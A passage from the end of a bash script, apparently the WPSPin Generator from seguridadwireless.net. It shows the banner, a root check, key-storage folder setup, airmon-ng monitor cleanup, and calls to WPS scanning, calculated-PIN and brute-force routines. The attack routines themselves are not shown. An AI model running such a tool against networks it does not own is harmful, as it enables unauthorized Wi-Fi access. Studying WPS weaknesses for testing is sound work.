  680. \ \/ \/ / _ \/ __| / /_)/ | /_
  681. \ /\ /| |_) \__ \ / ___/| | | | |
  682. \/ \/ | __/|___/ \/ |_|_| |_| Generator $VERSION
  683. |_| www.seguridadwireless.net "
  684. echo ""
  685. echo " ****************************************************"
  686. echo " * << Based on ZhaoChunsheng work & kcdtv script >> *"
  687. echo " **************************************************** "
  688. echo " ----------------------------------------------------------------- "
  689. echo " VERSIO AUTOMATICA - EN PROVES ---------------------------------- "
  690. echo " ----------------------------------------------------------------- "
  691. ####################################################################
  692. sleep 1
  693. echo " Versió base de dades: $DB_LOCAL"
  694. echo " ------------------------------------"
  695. sleep 1
  696. WashScan
  697. ProbarPINCalculado
  698. FuerzaBruta
  699. SeleccionarObjetivo
  700. DESMONTAR_tarj_y_salir
  701. }
  702. # Comprobación de usuario
  703. if [ $(id -u) -ne 0 ]; then
  704. echo -e "\e[1;31m
  705. has de ser root per executar l'script (sudo su).
  706. Prueba: sudo bash $0
  707. \e[0m"
  708. exit 1
  709. fi
  710. # Crear directorios si no existen
  711. if [ ! -d $TMP ]; then mkdir -p $TMP; fi
  712. if [ ! -d $KEYS ]; then mkdir -p $KEYS; fi
  713. if [ -d $HOME/Desktop/Wireless-Keys ]; then
  714. if [ ! -d $HOME/Desktop/Wireless-Keys/$SCRIPT-keys ]; then
  715. ln -s $KEYS $HOME/Desktop/Wireless-Keys/$SCRIPT-keys
  716. fi
  717. fi
  718. # Eliminando interfaces en modo monitor
  719. interfaces=$(iwconfig 2>/dev/null|grep "Mode:Monitor"|awk '{print $1}')
  720. if [ "$interfaces" ]; then
  721. for monx in $interfaces; do
  722. airmon-ng stop $monx >/dev/null 2>&1
  723. done
  724. fi
  725. ActualizarBD
  726. menu